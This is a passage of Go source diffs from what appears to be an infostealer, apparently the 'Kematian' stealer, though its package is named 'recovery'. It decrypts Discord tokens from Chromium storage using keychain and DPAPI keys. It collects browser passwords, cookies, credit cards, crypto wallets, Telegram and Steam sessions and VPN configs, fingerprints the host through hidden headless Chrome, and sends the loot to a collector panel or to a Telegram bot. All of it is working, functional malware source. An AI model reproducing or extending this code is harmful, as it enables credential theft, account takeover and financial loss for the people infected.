"path/filepath"
"runtime"
"strings"
"sync"
"recovery/recovery/crypto"
"recovery/recovery/platform"
"golang.org/x/crypto/pbkdf2"
)
func discordConfigDir() string {
home, _ := os.UserHomeDir()
if runtime.GOOS == "darwin" {
return filepath.Join(home, "Library", "Application Support")
}
xdg := os.Getenv("XDG_CONFIG_HOME")
if xdg != "" {
return xdg
}
return filepath.Join(home, ".config")
}
func discordV10Key(appDir string) []byte {
data, err := os.ReadFile(filepath.Join(appDir, "Local State"))
if err != nil {
if runtime.GOOS == "linux" {
return pbkdf2.Key([]byte("peanuts"), []byte("saltysalt"), 1, 16, sha1.New)
}
if runtime.GOOS == "darwin" {
return darwinDiscordKey()
}
return nil
}
var state map[string]interface{}
if err := json.Unmarshal(data, &state); err != nil {
return nil
}
osCrypt, _ := state["os_crypt"].(map[string]interface{})
if osCrypt == nil {
return nil
}
encKeyB64, _ := osCrypt["encrypted_key"].(string)
_ = encKeyB64
if runtime.GOOS == "linux" {
return pbkdf2.Key([]byte("peanuts"), []byte("saltysalt"), 1, 16, sha1.New)
}
if runtime.GOOS == "darwin" {
return darwinDiscordKey()
}
return nil
}
func darwinDiscordKey() []byte {
for _, service := range []string{"Chromium Safe Storage", "Chrome Safe Storage"} {
out, err := exec.Command("security", "find-generic-password", "-wa", service).Output()
if err != nil {
continue
}
password := strings.TrimSpace(string(out))
if password != "" {
return pbkdf2.Key([]byte(password), []byte("saltysalt"), 1003, 16, sha1.New)
}
}
return nil
}
var discordApps = []DiscordApp{
{"Discord", "discord"},
{"Discord PTB", "discordptb"},
{"Discord Canary", "discordcanary"},
{"Discord Dev", "discorddevelopment"},
}
func readDiscordFile(path string, pids []uint32) ([]byte, error) {
return platform.ReadLockedFile(path, pids)
}
func ExtractTokens() []TokenResult {
configDir := discordConfigDir()
type candidate struct {
token string
source string
}
seen := make(map[string]struct{})
var candidates []candidate
for _, app := range discordApps {
appDir := filepath.Join(configDir, app.Dir)
leveldb := filepath.Join(appDir, "Local Storage", "leveldb")
entries, err := os.ReadDir(leveldb)
if err != nil {
continue
}
pids, _ := platform.FindProcesses(app.Dir)
for _, e := range entries {
if e.IsDir() {
continue
}
ext := strings.ToLower(filepath.Ext(e.Name()))
if ext != ".log" && ext != ".ldb" {
continue
}
data, err := readDiscordFile(filepath.Join(leveldb, e.Name()), pids)
if err != nil {
continue
}
for _, m := range TokenRe.FindAll(data, -1) {
tok := string(m)
if _, dup := seen[tok]; !dup {
seen[tok] = struct{}{}
candidates = append(candidates, candidate{tok, app.Name})
}
}
for _, m := range EncRe.FindAll(data, -1) {
raw := string(m)
colonIdx := strings.Index(raw, ":")
if colonIdx < 0 {
continue
}
blob, err := base64.StdEncoding.DecodeString(raw[colonIdx+1:])
if err != nil {
continue
}
key := discordV10Key(appDir)
if key == nil {
continue
}
tok := crypto.DecryptChromiumBlob(blob, key, nil)
if tok == "" || !TokenRe.MatchString(tok) {
continue
}
if _, dup := seen[tok]; !dup {
seen[tok] = struct{}{}
candidates = append(candidates, candidate{tok, app.Name})
}
}
}
}
if len(candidates) == 0 {
return nil
}
valid := make([]bool, len(candidates))
var wg sync.WaitGroup
sem := make(chan struct{}, 6)
for i, c := range candidates {
wg.Add(1)
go func(idx int, tok string) {
defer wg.Done()
sem <- struct{}{}
valid[idx] = CheckToken(tok)
<-sem
}(i, c.token)
}
wg.Wait()
var out []TokenResult
for i, c := range candidates {
if valid[i] {
out = append(out, TokenResult{Token: c.token, Source: c.source})
}
}
return out
}
@@ -0,0 +1,171 @@
//go:build windows
package discord
import (
"encoding/base64"
"encoding/json"
"os"
"path/filepath"
"strings"
"sync"
"recovery/recovery/crypto"
"recovery/recovery/platform"
)
var discordApps = []DiscordApp{
{"Discord", "discord"},
{"Discord PTB", "discordptb"},
{"Discord Canary", "discordcanary"},
{"Discord Dev", "discorddevelopment"},
}
func discordV10Key(appDir string) []byte {
data, err := os.ReadFile(filepath.Join(appDir, "Local State"))
if err != nil {
return nil
}
var state map[string]interface{}
if err := json.Unmarshal(data, &state); err != nil {
return nil
}
osCrypt, _ := state["os_crypt"].(map[string]interface{})
if osCrypt == nil {
return nil
}
encKeyB64, _ := osCrypt["encrypted_key"].(string)
if encKeyB64 == "" {
return nil
}
encKey, err := base64.StdEncoding.DecodeString(encKeyB64)
if err != nil || len(encKey) <= 5 {
return nil
}
key, err := crypto.CryptUnprotectData(encKey[5:])
if err != nil {
return nil
}
return key
}
var discordExeNames = map[string]string{
"discord": "Discord.exe",
"discordptb": "DiscordPTB.exe",
"discordcanary": "DiscordCanary.exe",
"discorddevelopment": "DiscordDevelopment.exe",
}
func readDiscordFile(path string, pids []uint32) ([]byte, error) {
return platform.ReadLockedFile(path, pids)
}
func ExtractTokens() []TokenResult {
appdata := os.Getenv("APPDATA")
if appdata == "" {
return nil
}
type candidate struct {
token string
source string
}
seen := make(map[string]struct{})
var candidates []candidate
for _, app := range discordApps {
appDir := filepath.Join(appdata, app.Dir)
leveldb := filepath.Join(appDir, "Local Storage", "leveldb")
entries, err := os.ReadDir(leveldb)
if err != nil {
continue
}
exeName := discordExeNames[app.Dir]
pids, _ := platform.FindProcesses(exeName)
var v10Key []byte
keyOnce := sync.Once{}
getKey := func() []byte {
keyOnce.Do(func() { v10Key = discordV10Key(appDir) })
return v10Key
}
for _, e := range entries {
if e.IsDir() {
continue
}
ext := strings.ToLower(filepath.Ext(e.Name()))
if ext != ".log" && ext != ".ldb" {
continue
}
data, err := readDiscordFile(filepath.Join(leveldb, e.Name()), pids)
if err != nil {
continue
}
for _, m := range TokenRe.FindAll(data, -1) {
tok := string(m)
if _, dup := seen[tok]; !dup {
seen[tok] = struct{}{}
candidates = append(candidates, candidate{tok, app.Name})
}
}
for _, m := range EncRe.FindAll(data, -1) {
raw := string(m)
colonIdx := strings.Index(raw, ":")
if colonIdx < 0 {
continue
}
blob, err := base64.StdEncoding.DecodeString(raw[colonIdx+1:])
if err != nil {
continue
}
key := getKey()
if key == nil {
continue
}
tok := crypto.DecryptChromiumBlob(blob, key, nil)
if tok == "" || !TokenRe.MatchString(tok) {
continue
}
if _, dup := seen[tok]; !dup {
seen[tok] = struct{}{}
candidates = append(candidates, candidate{tok, app.Name})
}
}
}
}
if len(candidates) == 0 {
logf("no candidate tokens found")
return nil
}
logf("found %d candidate tokens", len(candidates))
valid := make([]bool, len(candidates))
var wg sync.WaitGroup
sem := make(chan struct{}, 6)
for i, c := range candidates {
wg.Add(1)
go func(idx int, tok string) {
defer wg.Done()
sem <- struct{}{}
valid[idx] = CheckToken(tok)
<-sem
}(i, c.token)
}
wg.Wait()
var out []TokenResult
for i, c := range candidates {
if valid[i] {
out = append(out, TokenResult{Token: c.token, Source: c.source})
}
}
logf("%d/%d tokens validated", len(out), len(candidates))
return out
}
@@ -0,0 +1,7 @@
package discord
import "log"
func logf(format string, args ...interface{}) {
log.Printf("[discord] "+format, args...)
}
@@ -0,0 +1,248 @@
package exfil
import (
"bytes"
"crypto/ecdh"
"crypto/rand"
"crypto/sha256"
"encoding/base64"
"encoding/hex"
"context"
"encoding/json"
"fmt"
"io"
"net/http"
"os"
"runtime"
"strings"
"time"
"golang.org/x/crypto/chacha20poly1305"
"golang.org/x/crypto/hkdf"
"recovery/recovery/types"
)
// PANEL_ENDPOINT is where the collector panel lives. URL + key are baked at
// build time (see build_final.bat or set here).
// PANEL_PUBKEY is the panel's E2EE public key (hex). Get it from /e2ee/pub on
// the panel. Only this public key is needed to post; decryption needs the
// private key that only the panel holds.
var (
PanelEndpoint = "http://127.0.0.1:5000/api/ingest"
PanelPubKey = ""
// Ingest key must match PANEL_INGEST_KEY on the panel.
PanelAuth = "CHANGE-ME"
)
const (
e2eeSalt = "kematian-e2ee-salt"
e2eeInfo = "kematian-e2ee-v1"
)
// e2eeSeal encrypts plaintext toward the panel's public key.
// Wire format: base64( ephemeral_pub(32) || nonce(12) || ciphertext )
func e2eeSeal(plaintext []byte) (string, error) {
pkBytes, err := hex.DecodeString(PanelPubKey)
if err != nil || len(pkBytes) != 32 {
return "", fmt.Errorf("invalid panel public key: %v", err)
}
curve := ecdh.X25519()
panelPub, err := curve.NewPublicKey(pkBytes)
if err != nil {
return "", err
}
ephPriv, err := curve.GenerateKey(rand.Reader)
if err != nil {
return "", err
}
shared, err := ephPriv.ECDH(panelPub)
if err != nil {
return "", err
}
// HKDF-SHA256(shared, salt, info) -> 32-byte key
r := hkdf.New(sha256.New, shared, []byte(e2eeSalt), []byte(e2eeInfo))
key := make([]byte, chacha20poly1305.KeySize)
if _, err := io.ReadFull(r, key); err != nil {
return "", err
}
aead, err := chacha20poly1305.New(key)
if err != nil {
return "", err
}
nonce := make([]byte, aead.NonceSize())
if _, err := rand.Read(nonce); err != nil {
return "", err
}
ct := aead.Seal(nil, nonce, plaintext, nil)
wire := append(ephPriv.PublicKey().Bytes(), nonce...)
wire = append(wire, ct...)
return base64.StdEncoding.EncodeToString(wire), nil
}
// ensurePubKey fetches the panel's E2EE public key at runtime if it isn't
// already embedded. This removes the need to paste the key at build time: only
// the endpoint + auth key are baked in, the agent asks the panel for its key.
func ensurePubKey() error {
if PanelPubKey != "" {
return nil
}
req, err := http.NewRequestWithContext(context.Background(), "GET", buildBaseURL()+"/e2ee/pub", nil)
if err != nil {
return err
}
req.Header.Set("Authorization", "Bearer "+PanelAuth)
resp, err := http.DefaultClient.Do(req)
if err != nil {
return fmt.Errorf("fetching pubkey: %w", err)
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
return fmt.Errorf("pubkey endpoint returned %s", resp.Status)
}
body, _ := io.ReadAll(resp.Body)
var out struct {
PublicKey string `json:"publicKey"`
}
if err := json.Unmarshal(body, &out); err != nil {
return fmt.Errorf("parsing pubkey: %w", err)
}
if len(out.PublicKey) != 64 {
return fmt.Errorf("unexpected pubkey length %d", len(out.PublicKey))
}
PanelPubKey = out.PublicKey
return nil
}
func buildBaseURL() string {
return strings.TrimSuffix(PanelEndpoint, "/api/ingest")
}
// SendToPanel posts the encrypted CollectionResult (+ optional binary payloads)
// to the collector panel over E2EE.
func SendToPanel(result *types.CollectionResult, clientID string, payloads ...types.Payload) error {
if PanelEndpoint == "" {
return fmt.Errorf("panel endpoint not configured")
}
if err := ensurePubKey(); err != nil {
return err
}
if PanelPubKey == "" {
return fmt.Errorf("no pubkey available")
}
payload := buildPanelPayload(result, clientID)
if len(payloads) > 0 {
payload["payloads"] = payloads
}
plainJSON, err := json.Marshal(payload)
if err != nil {
return err
}
enc, err := e2eeSeal(plainJSON)
if err != nil {
return err
}
body, _ := json.Marshal(map[string]string{"enc": enc})
req, err := http.NewRequestWithContext(context.Background(), "POST", PanelEndpoint, bytes.NewReader(body))
if err != nil {
return err
}
req.Header.Set("Content-Type", "application/json")
req.Header.Set("Authorization", "Bearer "+PanelAuth)
client := &http.Client{Timeout: 60 * time.Second}
resp, err := client.Do(req)
if err != nil {
return err
}
defer resp.Body.Close()
respBody, _ := io.ReadAll(resp.Body)
if resp.StatusCode != http.StatusOK {
return fmt.Errorf("panel rejected: %s - %s", resp.Status, strings.TrimSpace(string(respBody)))
}
return nil
}
func guessOS() string {
if runtime.GOOS == "windows" {
return os.Getenv("OS")
}
return runtime.GOOS
}
func guessArch() string {
return runtime.GOARCH
}
func GenerateClientID() string {
b := make([]byte, 12)
_, _ = rand.Read(b)
return base64.RawURLEncoding.EncodeToString(b)
}
// buildPanelPayload maps a CollectionResult to the flat structure the panel
// ingest stores into its per-category tables. clientID groups everything.
func buildPanelPayload(r *types.CollectionResult, clientID string) map[string]interface{} {
p := map[string]interface{}{
"clientId": clientID,
"host": map[string]interface{}{
"os": guessOS(),
"arch": guessArch(),
},
}
if l := len(r.Passwords); l > 0 {
p["passwords"] = r.Passwords
}
if l := len(r.Cookies); l > 0 {
p["cookies"] = r.Cookies
}
if l := len(r.Autofill); l > 0 {
p["autofill"] = r.Autofill
}
if l := len(r.History); l > 0 {
p["history"] = r.History
}
if l := len(r.Bookmarks); l > 0 {
p["bookmarks"] = r.Bookmarks
}
if l := len(r.CreditCards); l > 0 {
p["creditCards"] = r.CreditCards
}
if l := len(r.DiscordTokens); l > 0 {
p["discordTokens"] = r.DiscordTokens
}
if l := len(r.Files); l > 0 {
p["files"] = r.Files
}
if l := len(r.Extensions); l > 0 {
p["extensions"] = r.Extensions
}
if l := len(r.Wallets); l > 0 {
p["wallets"] = r.Wallets
}
if l := len(r.Telegram); l > 0 {
p["telegram"] = r.Telegram
}
if l := len(r.Keys); l > 0 {
p["keys"] = r.Keys
}
if l := len(r.AppCredentials); l > 0 {
p["appCredentials"] = r.AppCredentials
}
if r.Gaming != nil {
p["gaming"] = r.Gaming
if r.Gaming.Steam != nil && len(r.Gaming.Steam.SteamTokens) > 0 {
p["steamTokens"] = r.Gaming.Steam.SteamTokens
}
}
if r.VPNs != nil {
p["vpns"] = r.VPNs
}
return p
}
@@ -0,0 +1,264 @@
package exfil
import (
"bytes"
"context"
"encoding/json"
"fmt"
"io"
"mime/multipart"
"net/http"
"os"
"path/filepath"
"strings"
"time"
"recovery/recovery"
"recovery/recovery/types"
"recovery/recovery/ziputil"
)
type TelegramConfig struct {
BotToken string
ChatID string
}
func SendToTelegram(cfg TelegramConfig, zipData []byte, filename string, counts map[string]int) error {
url := fmt.Sprintf("https://api.telegram.org/bot%s/sendDocument", cfg.BotToken)
hostname, _ := os.Hostname()
username := os.Getenv("USERNAME")
if username == "" {
username = os.Getenv("USER")
}
ip := getExternalIP()
caption := fmt.Sprintf(`✨ New Log Received ✨
💻 User: %s@%s
🌍 IP: %s
📊 Main Loot:
🔑 Passwords: %d
🍪 Cookies: %d
💰 Wallets: %d
📦 Additional Data:
💬 Messengers: %d
🔐 Extensions: %d
🔑 Keys: %d
🎮 Gaming: %d
🌐 VPNs: %d
📁 Files: %d`,
username, hostname, ip,
counts["passwords"], counts["cookies"], counts["wallets"],
counts["telegram"], counts["extensions"], counts["keys"],
counts["gaming"], counts["vpns"], counts["files"])
var buf bytes.Buffer
writer := multipart.NewWriter(&buf)
_ = writer.WriteField("chat_id", cfg.ChatID)
_ = writer.WriteField("caption", caption)
_ = writer.WriteField("parse_mode", "HTML")
part, err := writer.CreateFormFile("document", filename)
if err != nil {
return err
}
_, _ = part.Write(zipData)
writer.Close()
req, err := http.NewRequestWithContext(context.Background(), "POST", url, &buf)
if err != nil {
return err
}
req.Header.Set("Content-Type", writer.FormDataContentType())
client := &http.Client{Timeout: 120 * time.Second}
resp, err := client.Do(req)
if err != nil {
return err
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
body, _ := io.ReadAll(resp.Body)
return fmt.Errorf("telegram API error: %s - %s", resp.Status, string(body))
}
return nil
}
func getExternalIP() string {
client := &http.Client{Timeout: 5 * time.Second}
resp, err := client.Get("https://api.ipify.org")
if err != nil {
return "unknown"
}
defer resp.Body.Close()
body, _ := io.ReadAll(resp.Body)
return strings.TrimSpace(string(body))
}
func CollectAndZipAll(ctx context.Context) ([]byte, map[string]int, error) {
result, zipData, counts, _, err := CollectResultAndZip(ctx)
if err != nil {
return nil, nil, err
}
_ = result
return zipData, counts, nil
}
// CollectResultAndZip collects a full snapshot and returns:
// - the typed result (for the panel)
// - a single zip of every json+dump for Telegram
// - per-category counts
// - individual binary payloads (wallet/telegram/steam zips) for the panel
func CollectResultAndZip(ctx context.Context) (*types.CollectionResult, []byte, map[string]int, []types.Payload, error) {
opts := types.CollectOptions{
Browsers: true,
Passwords: true,
Cookies: true,
Autofill: true,
History: true,
Bookmarks: true,
CreditCards: true,
Discord: true,
Files: true,
Wallets: true,
Telegram: true,
Keys: true,
Apps: true,
Gaming: true,
VPNs: true,
}
tmpDir, err := os.MkdirTemp("", "kematian-*")
if err != nil {
return nil, nil, nil, nil, err
}
defer os.RemoveAll(tmpDir)
result, err := recovery.Collect(ctx, opts, nil)
if err != nil {
return nil, nil, nil, nil, fmt.Errorf("collection failed: %w", err)
}
extensions := recovery.ScanExtensions()
result.Extensions = extensions
counts := map[string]int{
"passwords": len(result.Passwords),
"cookies": len(result.Cookies),
"wallets": len(result.Wallets),
"telegram": len(result.Telegram),
"extensions": len(result.Extensions),
"keys": len(result.Keys),
"gaming": 0,
"vpns": 0,
"files": len(result.Files),
}
if result.Gaming != nil {
if result.Gaming.Steam != nil {
counts["gaming"]++
}
counts["gaming"] += len(result.Gaming.BattleNet) + len(result.Gaming.Epic) + len(result.Gaming.Riot) + len(result.Gaming.Uplay)
}
if result.VPNs != nil {
counts["vpns"] = len(result.VPNs.NordVPN) + len(result.VPNs.WireGuard) + len(result.VPNs.OpenVPN) + len(result.VPNs.Mullvad)
}
writeJSON := func(name string, data interface{}) error {
jsonData, err := json.MarshalIndent(data, "", " ")
if err != nil {
return err
}
return os.WriteFile(filepath.Join(tmpDir, name+".json"), jsonData, 0644)
}
_ = writeJSON("passwords", result.Passwords)
_ = writeJSON("cookies", result.Cookies)
_ = writeJSON("autofill", result.Autofill)
_ = writeJSON("history", result.History)
_ = writeJSON("bookmarks", result.Bookmarks)
_ = writeJSON("credit_cards", result.CreditCards)
_ = writeJSON("discord_tokens", result.DiscordTokens)
_ = writeJSON("extensions", result.Extensions)
_ = writeJSON("wallets", result.Wallets)
_ = writeJSON("telegram", result.Telegram)
_ = writeJSON("keys", result.Keys)
_ = writeJSON("app_credentials", result.AppCredentials)
_ = writeJSON("gaming", result.Gaming)
_ = writeJSON("vpns", result.VPNs)
var steamTokens []types.SteamTokenResult
if result.Gaming != nil && result.Gaming.Steam != nil {
steamTokens = result.Gaming.Steam.SteamTokens
}
_ = writeJSON("steam_tokens", steamTokens)
_ = writeJSON("fingerprint", recovery.CollectFingerprint())
_ = writeJSON("js_fingerprint", recovery.CollectJSFingerprint())
_ = writeJSON("meta", map[string]string{"collected_at": time.Now().Format(time.RFC3339)})
// Individual payloads are shipped to the panel directly so it can host the
// actual login files (wallet dirs, telegram sessions, steam session).
var payloads []types.Payload
for _, wallet := range result.Wallets {
if wallet.Path != "" {
zipData, err := recovery.ZipDirectory(wallet.Path)
if err == nil && len(zipData) > 0 {
fname := fmt.Sprintf("wallet_%s.zip", sanitizeFilename(wallet.Name))
os.WriteFile(filepath.Join(tmpDir, fname), zipData, 0644)
payloads = append(payloads, types.Payload{
Category: "wallet", Name: wallet.Name, Filename: fname,
Size: len(zipData), Data: zipData,
})
}
}
}
for _, tg := range result.Telegram {
if tg.Path != "" {
zipData, err := recovery.ZipTelegram(tg.Path)
if err == nil && len(zipData) > 0 {
fname := fmt.Sprintf("telegram_%s.zip", sanitizeFilename(tg.Account))
os.WriteFile(filepath.Join(tmpDir, fname), zipData, 0644)
payloads = append(payloads, types.Payload{
Category: "telegram", Name: tg.Account, Filename: fname,
Size: len(zipData), Data: zipData,
})
}
}
}
if result.Gaming != nil {
if result.Gaming.Steam != nil && result.Gaming.Steam.SteamPath != "" {
zipData, err := recovery.ZipSteamSession(result.Gaming.Steam.SteamPath)
if err == nil && len(zipData) > 0 {
fname := "steam_session.zip"
os.WriteFile(filepath.Join(tmpDir, fname), zipData, 0644)
payloads = append(payloads, types.Payload{
Category: "steam", Name: "steam", Filename: fname,
Size: len(zipData), Data: zipData,
})
}
}
}
zipData, err := ziputil.ZipDirectory(tmpDir)
if err != nil {
return nil, nil, nil, nil, err
}
return result, zipData, counts, payloads, nil
}
func sanitizeFilename(name string) string {
replacer := strings.NewReplacer(
"/", "_", "\\", "_", ":", "_", "*", "_", "?", "_",
"\"", "_", "<", "_", ">", "_", "|", "_", " ", "_",
)
return replacer.Replace(name)
}
@@ -0,0 +1,264 @@
//go:build windows
package fingerprint
import (
"context"
"encoding/json"
"fmt"
"io"
"net/http"
"os"
"os/exec"
"path/filepath"
"strings"
"time"
"github.com/chromedp/cdproto/runtime"
"github.com/chromedp/chromedp"
)
func evalAwaitPromise(p *runtime.EvaluateParams) *runtime.EvaluateParams {
return p.WithAwaitPromise(true)
}
const fingerprintJS = `(async () => {
const out = {};
try {
const c = document.createElement("canvas");
c.width = 220; c.height = 60;
const x = c.getContext("2d");
x.textBaseline = "top";
x.font = "14px 'Arial'";
x.fillStyle = "#f60";
x.fillRect(0, 0, 220, 60);
x.fillStyle = "#069";
x.fillText("Cwm fjordbank glyphs vext quiz \uD83D\uDE03", 2, 2);
x.fillStyle = "rgba(102, 204, 0, 0.7)";
x.fillText("Cwm fjordbank glyphs vext quiz \uD83D\uDE03", 4, 17);
x.fillStyle = "#f60";
x.beginPath(); x.arc(100, 40, 20, 0, Math.PI * 2, true); x.fill();
out.canvas = c.toDataURL();
} catch (e) {}
try {
const gl = document.createElement("canvas").getContext("webgl");
if (gl) {
const ext = gl.getExtension("WEBGL_debug_renderer_info");
out.webglRenderer = ext ? String(gl.getParameter(ext.UNMASKED_RENDERER_WEBGL)) : String(gl.getParameter(gl.RENDERER));
out.webglVendor = ext ? String(gl.getParameter(ext.UNMASKED_VENDOR_WEBGL)) : String(gl.getParameter(gl.VENDOR));
out.webglVersion = String(gl.getParameter(gl.VERSION));
const keys = ["MAX_TEXTURE_SIZE","MAX_VIEWPORT_DIMS","MAX_RENDERBUFFER_SIZE","MAX_VERTEX_ATTRIBS","MAX_VERTEX_UNIFORM_VECTORS","MAX_VARYING_VECTORS","MAX_FRAGMENT_UNIFORM_VECTORS","MAX_TEXTURE_IMAGE_UNITS","MAX_COMBINED_TEXTURE_IMAGE_UNITS","ALIASED_LINE_WIDTH_RANGE","ALIASED_POINT_SIZE_RANGE"];
const params = {};
for (const k of keys) {
try {
let v = gl.getParameter(gl[k]);
if (v && v.length !== undefined && typeof v !== "string") v = Array.from(v);
params[k] = v;
} catch (e) {}
}
out.webglParams = params;
const exts = gl.getSupportedExtensions();
out.webglExtensions = exts ? exts.slice().sort() : [];
}
} catch (e) {}
try {
const ac = new OfflineAudioContext(1, 44100, 44100);
const osc = ac.createOscillator();
osc.type = "triangle";
osc.frequency.value = 10000;
const comp = ac.createDynamicsCompressor();
comp.threshold.value = -50;
comp.knee.value = 40;
comp.ratio.value = 12;
comp.attack.value = 0;
comp.release.value = 0.25;
osc.connect(comp);
comp.connect(ac.destination);
osc.start(0);
const buf = await ac.startRendering();
const data = buf.getChannelData(0);
let sum = 0;
for (let i = 0; i < data.length; i++) sum += Math.abs(data[i]);
out.audio = sum;
} catch (e) {}
return out;
})()`
func CollectJS() *JSResult {
res, err := collectJS()
if err != nil {
return nil
}
return res
}
func collectJS() (*JSResult, error) {
ctx, cancel := context.WithTimeout(context.Background(), 30*time.Second)
defer cancel()
if wsURL := findExistingDebugURL(); wsURL != "" {
logf("found existing debug endpoint")
if res, err := runRemote(ctx, wsURL); err == nil {
return res, nil
} else {
logf("existing debug endpoint failed: %v", err)
}
}
chrome := browserExePath("Chrome")
if chrome == "" {
chrome = browserExePath("Edge")
}
if chrome == "" {
return nil, fmt.Errorf("no Chromium browser found")
}
logf("spawning hidden Chromium: %s", chrome)
res, err := runHidden(ctx, chrome)
if err != nil {
logf("hidden Chromium failed: %v", err)
}
return res, err
}
func runRemote(ctx context.Context, wsURL string) (*JSResult, error) {
allocCtx, cancel := chromedp.NewRemoteAllocator(ctx, wsURL)
defer cancel()
return evalJS(allocCtx)
}
func runHidden(ctx context.Context, chromePath string) (*JSResult, error) {
dataDir, err := os.MkdirTemp("", "kematian_fp_*")
if err != nil {
return nil, fmt.Errorf("temp profile dir: %w", err)
}
defer os.RemoveAll(dataDir)
if res, err := runHiddenWith(ctx, chromePath, dataDir, true); err == nil {
return res, nil
} else {
logf("GPU launch failed: %v; retrying with software rendering", err)
}
return runHiddenWith(ctx, chromePath, dataDir, false)
}
func runHiddenWith(ctx context.Context, chromePath, dataDir string, gpu bool) (*JSResult, error) {
args := []string{
"--headless",
"--no-sandbox",
"--disable-dev-shm-usage",
"--no-first-run",
"--no-default-browser-check",
"--disable-extensions",
"--user-data-dir=" + dataDir,
"--remote-debugging-port=0",
"about:blank",
}
if gpu {
args = append(args, "--use-gl=angle", "--use-angle=d3d11", "--disable-gpu-sandbox")
} else {
args = append(args, "--disable-gpu")
}
cmd := exec.Command(chromePath, args...)
cmd.Stdout = io.Discard
cmd.Stderr = chromeLogWriter{}
if err := cmd.Start(); err != nil {
return nil, fmt.Errorf("start chrome: %w", err)
}
defer func() { _ = cmd.Process.Kill() }()
wsURL, err := waitForDevTools(dataDir, 10*time.Second)
if err != nil {
return nil, err
}
allocCtx, cancel := chromedp.NewRemoteAllocator(ctx, wsURL)
defer cancel()
return evalJS(allocCtx)
}
func waitForDevTools(dataDir string, timeout time.Duration) (string, error) {
portFile := filepath.Join(dataDir, "DevToolsActivePort")
deadline := time.Now().Add(timeout)
for time.Now().Before(deadline) {
data, err := os.ReadFile(portFile)
if err == nil {
lines := strings.Split(strings.TrimSpace(string(data)), "\n")
if len(lines) >= 2 {
port := strings.TrimSpace(lines[0])
path := strings.TrimSpace(lines[1])
if port != "" && path != "" {
return "ws://127.0.0.1:" + port + path, nil
}
}
}
time.Sleep(100 * time.Millisecond)
}
return "", fmt.Errorf("chrome did not expose a DevTools port")
}
type chromeLogWriter struct{}
func (chromeLogWriter) Write(p []byte) (int, error) {
for _, line := range strings.Split(strings.TrimSpace(string(p)), "\n") {
if line != "" {
logf("chrome: %s", line)
}
}
return len(p), nil
}
func evalJS(allocCtx context.Context) (*JSResult, error) {
cctx, cancel := chromedp.NewContext(allocCtx)
defer cancel()
var out JSResult
if err := chromedp.Run(cctx,
chromedp.Navigate("about:blank"),
chromedp.Evaluate(fingerprintJS, &out, evalAwaitPromise),
); err != nil {
return nil, err
}
return &out, nil
}
func findExistingDebugURL() string {
local := os.Getenv("LOCALAPPDATA")
if local == "" {
return ""
}
for _, dir := range []string{`Google\Chrome\User Data`, `Microsoft\Edge\User Data`, `BraveSoftware\Brave-Browser\User Data`} {
data, err := os.ReadFile(filepath.Join(local, dir, "DevToolsActivePort"))
if err != nil {
continue
}
lines := strings.Split(strings.TrimSpace(string(data)), "\n")
if len(lines) < 2 {
continue
}
port := strings.TrimSpace(lines[0])
if port == "" {
continue
}
if wsURL, err := debugWebSocketURL(port); err == nil && wsURL != "" {
return wsURL
}
}
return ""
}
func debugWebSocketURL(port string) (string, error) {
client := &http.Client{Timeout: 2 * time.Second}
resp, err := client.Get("http://127.0.0.1:" + port + "/json/version")
if err != nil {
return "", err
}
defer resp.Body.Close()
var v struct {
WebSocketDebuggerURL string `json:"webSocketDebuggerUrl"`
}
if err := json.NewDecoder(resp.Body).Decode(&v); err != nil {
return "", err
}
return v.WebSocketDebuggerURL, nil
}
@@ -0,0 +1,7 @@
//go:build !windows
package fingerprint
func CollectJS() *JSResult {
return nil
}
@@ -0,0 +1,7 @@
//go:build !windows
package fingerprint
func Collect() *Result {
return &Result{}
}
@@ -0,0 +1,483 @@
//go:build windows
package fingerprint
import (
"fmt"
"net"
"os"
"path/filepath"
"runtime"
"sort"
"strings"
"syscall"
"unsafe"
"golang.org/x/sys/windows/registry"
)
// ── Win32 API (raw syscalls) ──────────────────────────────────────
var (
user32 = syscall.NewLazyDLL("user32.dll")
kernel32 = syscall.NewLazyDLL("kernel32.dll")
gdi32 = syscall.NewLazyDLL("gdi32.dll")
procGetSystemMetrics = user32.NewProc("GetSystemMetrics")
procSystemParametersInfo = user32.NewProc("SystemParametersInfoW")
procGetDC = user32.NewProc("GetDC")
procReleaseDC = user32.NewProc("ReleaseDC")
procGetDeviceCaps = gdi32.NewProc("GetDeviceCaps")
procGetActiveProcessorCount = kernel32.NewProc("GetActiveProcessorCount")
procGlobalMemoryStatusEx = kernel32.NewProc("GlobalMemoryStatusEx")
procGetUserDefaultLocaleName = kernel32.NewProc("GetUserDefaultLocaleName")
procGetTimeZoneInformation = kernel32.NewProc("GetTimeZoneInformation")
)
type memoryStatusEx struct {
Length uint32
MemoryLoad uint32
TotalPhys uint64
AvailPhys uint64
TotalPageFile uint64
AvailPageFile uint64
TotalVirtual uint64
AvailVirtual uint64
AvailExtendedVirtual uint64
}
type systemTime struct {
Year uint16
Month uint16
DayOfWeek uint16
Day uint16
Hour uint16
Minute uint16
Second uint16
Milliseconds uint16
}
type timeZoneInformation struct {
Bias int32
StandardName [32]uint16
StandardDate systemTime
StandardBias int32
DaylightName [32]uint16
DaylightDate systemTime
DaylightBias int32
}
type rect struct {
Left int32
Top int32
Right int32
Bottom int32
}
// ── Collect ───────────────────────────────────────────────────────
func Collect() *Result {
r := &Result{
Platform: "Win32",
OSArch: runtime.GOARCH,
}
r.OS = osProductName()
r.HardwareConcurrency = cpuCores()
r.DeviceMemory = deviceMemoryGB()
r.MaxTouchPoints = getSystemMetrics(95) // SM_MAXIMUMTOUCHES
r.ScreenWidth = getSystemMetrics(0) // SM_CXSCREEN
r.ScreenHeight = getSystemMetrics(1) // SM_CYSCREEN
var work rect
if systemParametersInfo(0x0030 /*SPI_GETWORKAREA*/, 0, unsafe.Pointer(&work), 0) {
r.AvailWidth = int(work.Right - work.Left)
r.AvailHeight = int(work.Bottom - work.Top)
}
hdc, _, _ := procGetDC.Call(0)
if hdc != 0 {
r.ColorDepth = getDeviceCaps(hdc, 12) // BITSPIXEL
if dpi := getDeviceCaps(hdc, 88); dpi > 0 { // LOGPIXELSX
r.DevicePixelRatio = float64(dpi) / 96.0
}
procReleaseDC.Call(0, hdc)
}
r.Timezone, r.TimezoneOffset = timezoneInfo()
r.Languages = languages()
r.Fonts = fonts()
r.GPU = gpuName()
r.Browsers = installedBrowsers()
r.UserAgent = userAgent(r.Browsers)
r.LocalIPs = localIPs()
return r
}
func getSystemMetrics(index int) int {
v, _, _ := procGetSystemMetrics.Call(uintptr(index))
return int(v)
}
